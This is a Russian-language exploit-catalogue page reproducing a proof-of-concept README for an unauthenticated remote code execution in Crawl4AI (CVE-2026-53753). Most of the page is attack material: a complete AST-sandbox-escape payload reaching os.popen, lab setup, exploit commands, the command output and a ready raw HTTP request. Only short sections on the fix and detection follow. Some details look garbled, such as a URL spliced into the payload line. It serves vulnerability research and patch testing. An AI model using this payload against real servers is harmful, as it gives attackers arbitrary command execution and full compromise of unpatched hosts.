Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-53753-Crawl4AI-RCE — CVE-2026-53753 — Crawl4AI <0.8.7 неаутентифицированное RCE (побег из песочницы AST через gi_frame.f_back). Лаборатория + PoC, подтверждено e2e. | Kitploit
Инструменты/GitHubGitHub/biitts/cve-2026-53753-crawl4ai-rce
Статический анализДинамический анализ (песочница)Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
Лаборатории и Практика
GitHubbiitts/cve-2026-53753-crawl4ai-rce

CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 неаутентифицированное RCE (побег из песочницы AST через gi_frame.f_back). Лаборатория + PoC, подтверждено e2e.

Репозиторий
42 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-53753 — Crawl4AI Неаутентифицированное удаленное выполнение кода (обход песочницы AST)

Предварительная аутентификация RCE в Crawl4AI < 0.8.7. Сформированная схема JsonCssExtractionStrategy, отправленная на неаутентифицированный POST /crawl endpoint, достигает вычислителя вычисляемых полей (_safe_eval_expression), обходит его белый список AST через объекты фреймов Python, достигает реального builtins, и выполняет __import__('os').popen(<cmd>).read() — возвращая вывод команды внутри полосы в JSON-ответе.

CVECVE-2026-53753
AdvisoryGHSA-qxjp-w3pj-48m7
ЗатронутоCrawl4AI <= 0.8.6
Исправлено0.8.7
КлассCWE-94 (Code Injection) / обход песочницы Python
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
АутентификацияНет — поставляемая конфигурация имеет jwt_enabled: false
СтатусПОДТВЕРЖДЕНО — воспроизведено от начала до конца на официальном образе unclecode/crawl4ai:0.8.6

Содержание

  1. Корневая причина
  2. Анатомия полезной нагрузки
  3. Почему обход фреймов достигает реальных встроенных модулей
  4. Настройка лаборатории
  5. Запуск эксплойта
  6. Ожидаемый вывод
  7. Сырой HTTP-запрос
  8. Устранение неполадок
  9. Воздействие / Исправление / Обнаружение
  10. Проверка

Подробное погружение: см. ANALYSIS.md для пошагового обхода AST, стека фреймов во время выполнения, потока данных запроса и diff исправления.


1. Корневая причина

crawl4ai/extraction_strategy.py позволяет схеме извлечения определять вычисляемые поля — небольшие выражения Python, вычисляемые для каждого извлеченного элемента. Они выполняются _safe_eval_expression(), которая пытается поместить выражение в песочницу с помощью белого списка AST и урезанного __builtins__:

root@kitploit:~
# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # Блокировка доступа к атрибутам с подчеркиванием, например __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # нет __import__, нет eval, нет open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

Валидатор — запрет по префиксу: он отвергает только имена, которые начинаются с _ (плюс import). Эта единственная эвристика и есть вся песочница — и у нее есть три дыры, которые в сочетании дают полный обход:

#ДыраПочему это важно
1gi_frame, f_back, f_builtins не начинаются с _Доступна вся поверхность интроспекции фреймов/генераторов Python.
2obj['__import__'] — это ast.Subscript, не ast.AttributeВалидатор никогда не проверяет ключи словарного subscript, поэтому ключ __import__ проходит.
3Цепочка f_back работающего генератора ведет к внешнему фрейму, чей f_builtins — это реальный builtinsОбходит урезанный _SAFE_EVAL_BUILTINS обратно к полному (__import__ и т.д.).

Схема достигает этой функции без аутентификации: Docker API поставляется с security.jwt_enabled: false, поэтому зависимость токена /crawl — lambda: None.

2. Анатомия полезной нагрузки, строка за строкой

Выражение вычисляемого поля:

root@kitploit:~
(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

Разбор по частям:

ФрагментРольПочему валидатор разрешает
(lambda: ... )()Создает область видимости функции, чтобы имя, связанное с walrus, жило в замыкающей ячейке.ast.Lambda не проверяется.
g := ( <expr> for i in [1])Привязывает генератор к g и тело генератора ссылается на g (самого себя).:= и выражения-генераторы не проверяются. (Walrus запрещён в итерабельной части генератора, поэтому помещен в элемент кортежа.)
list(g)Запускает генератор — чтобы его фрейм был активен при выполнении тела.list есть в безопасных встроенных модулях.
g.gi_frameОбъект фрейма генератора.gi_frame не начинается с _.
.f_back.f_back.f_backПоднимается вверх на три фрейма до того, у которого есть реальные встроенные модули.f_back не начинается с _.
.f_builtinsСловарь встроенных модулей этого фрейма (реальный).f_builtins не начинается с _.
['__import__']Извлекает __import__ из словаря встроенных модулей.Subscript словаря — не проверяется.
('os')__import__('os') → модуль os.Цель вызова — Subscript, не Name/Attribute.
.popen('id').read()Выполняет команду и возвращает её stdout.popen/read не начинаются с _.

Поскольку значение генератора — это os.popen(cmd).read(), stdout команды становится значением поля и отражается в ответе /crawl — внутренний оракул, OAST не нужен.

3. Почему обход фреймов достигает реальных встроенных модулей

Пока list(g) перебирает генератор, стек вызовов выглядит так:

root@kitploit:~
frame: _safe_eval_expression()      <-- реальные builtins  (__import__ живёт здесь)   ← f_back ×3
   └ frame: <expression> (eval)     <-- песочница builtins (_SAFE_EVAL_BUILTINS)        ← f_back ×2
        └ frame: <lambda>           <-- песочница                                       ← f_back ×1
             └ frame: <genexpr> g   <-- ВЫПОЛНЯЕТСЯ; g.gi_frame — это фрейм             ← gi_frame

g.gi_frame.f_back заполняется только пока генератор выполняется (именно поэтому генератор должен ссылаться сам на себя и запускаться через list(g) — незапущенный генератор имеет f_back is None). Проход по f_back три раза попадает на фрейм _safe_eval_expression, чей f_builtins — это полный модуль встроенных функций — из которого __import__ извлекается через subscript.

Глубина фрейма стабильна для этого пути кода: f_back × 3 корректно для Crawl4AI 0.8.6 _safe_eval_expression.

4. Настройка лаборатории

Официальный образ содержит уязвимую конфигурацию по умолчанию (без аутентификации):

root@kitploit:~
# Вариант A — docker compose (обычный хост Docker с bridge-сетью)
docker compose -f lab/docker-compose.yml up -d

# Вариант B — простой docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

Подождите ~20 секунд, пока прогреется пул браузеров (docker logs crawl4ai-vuln → Application startup complete).

5. Запуск эксплойта

root@kitploit:~
# Просмотр тела запроса без отправки:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload

# Запуск (stdout команды возвращается в ответе):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"

exploit.py использует только стандартную библиотеку Python — никаких зависимостей.

6. Ожидаемый вывод

root@kitploit:~
[*] POST http://127.0.0.1:11235/crawl  (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
    {
        \"out\": [
            \"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
        ]
    }
]" ...

Поле out — это живое состояние ОС (вывод id, uname, os-release контейнера), не эхо запроса — uid=999(appuser) — это сервисная учетная запись контейнера, доказывающая выполнение кода внутри хоста Crawl4AI. Уникальный echo <marker> отражается дословно, подтверждая, что команда действительно выполнилась.

7. Сырой HTTP-запрос

root@kitploit:~
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json

{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
 "crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
 {"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
 "fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
  • raw://… делает запрос самодостаточным — не требуется исходящая выборка; атакующий предоставляет HTML встроенным образом.
  • baseSelector: "div" просто должен соответствовать элементу, чтобы вычисляемое поле было оценено. Для реальной цели краулинга используйте любой селектор, соответствующий странице.

8. Устранение неполадок

СимптомПричина / исправление
Connection refused на :11235Контейнер еще прогревается, или ваш Docker-демон не имеет рабочей сети bridge. Подождите Application startup complete; если привязка порта не работает, запустите контейнер с --network host.
out — nullБазовый селектор не совпал ни с одним элементом — убедитесь, что HTML в raw:// содержит <div> (или измените baseSelector).
Работает на 0.8.6, но не на 0.8.7Ожидаемо — 0.8.7 удаляет _safe_eval_expression и полностью отключает ключ expression (исправление).

9. Воздействие

Любой клиент, имеющий сетевой доступ, выполняет произвольные команды ОС на хосте Crawl4AI без аутентификации в конфигурации по умолчанию — полный компрометация сервера и переход на любые внутренние ресурсы, к которым он имеет доступ.

Исправление

  • Обновитесь до Crawl4AI ≥ 0.8.7 (удаляет _safe_eval_expression; ключ вычисляемого поля expression отключен — вместо этого используйте ключ function с проверенным вызываемым объектом Python).
  • Защита в глубину: включите JWT (jwt_enabled: true + api_token) и никогда не открывайте API Crawl4AI для ненадежных сетей.

Обнаружение

Отмечайте тела POST /crawl (и /crawl/stream), содержащие gi_frame, f_back, f_builtins или любое computed поле с ключом expression.

Раскрытие / Авторство

  • Автор PoC: Caio Fabrício — github.com/BiiTts
  • Уязвимость принадлежит оригинальному репортеру CVE/advisory; этот репозиторий — независимое воспроизведение для защитных и образовательных целей.
  • Только для авторизованного тестирования безопасности.
Скачать инструмент